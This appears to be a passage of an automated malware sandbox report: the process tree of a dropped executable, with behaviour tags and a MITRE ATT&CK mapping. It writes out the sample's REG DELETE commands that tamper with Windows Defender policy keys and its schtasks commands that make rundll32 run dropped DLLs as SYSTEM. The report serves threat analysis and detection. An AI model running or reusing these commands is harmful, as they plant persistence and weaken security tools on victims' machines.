C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\TLymoZp.exe 76 /site_id 525403 /S
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1880

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "beNJzxXkYGhzSCmkZn"
3⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:1400

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
4⤵
PID:576

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
4⤵
PID:1820

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\CXdyuXxQU\NbfEav.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ErhcMqZyPKQzNnH" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1416

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ErhcMqZyPKQzNnH2" /F /xml "C:\Program Files (x86)\CXdyuXxQU\pghBaii.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1164

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ErhcMqZyPKQzNnH"
3⤵
PID:1856

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ErhcMqZyPKQzNnH"
3⤵
PID:1944

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TzHNCgqXVcbCsT" /F /xml "C:\Program Files (x86)\YnFPtusxCOTU2\eEkWpkc.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:740

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "UfarzoSChLufz2" /F /xml "C:\ProgramData\RIEoyfpemMjlUPVB\kpiWsow.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:560

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "iQozJLGfyohvxjpyN2" /F /xml "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\OrJacwy.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1248

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ASXvXFEBgQcQQTYguNW2" /F /xml "C:\Program Files (x86)\LCSurMlfClMRC\UjFkaIf.xml" /RU "SYSTEM"
3⤵
- Creates scheduled task(s)
PID:1776

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "NSdDFfEujjmGqHjBl" /SC once /ST 04:13:44 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MNBTbrbBidagOXts\kaOyfoEy\PkRgHZT.dll\",#1 /site_id 525403" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1736

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "NSdDFfEujjmGqHjBl"
3⤵
PID:1760

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:924

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
4⤵
PID:1560

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
4⤵
PID:1928

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "GrrjjXtPjBVPFNmZQ"
3⤵
PID:992

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\kaOyfoEy\PkRgHZT.dll",#1 /site_id 525403
2⤵
PID:1188

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MNBTbrbBidagOXts\kaOyfoEy\PkRgHZT.dll",#1 /site_id 525403
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1772

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "NSdDFfEujjmGqHjBl"
4⤵
PID:1944

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1584

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1748

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery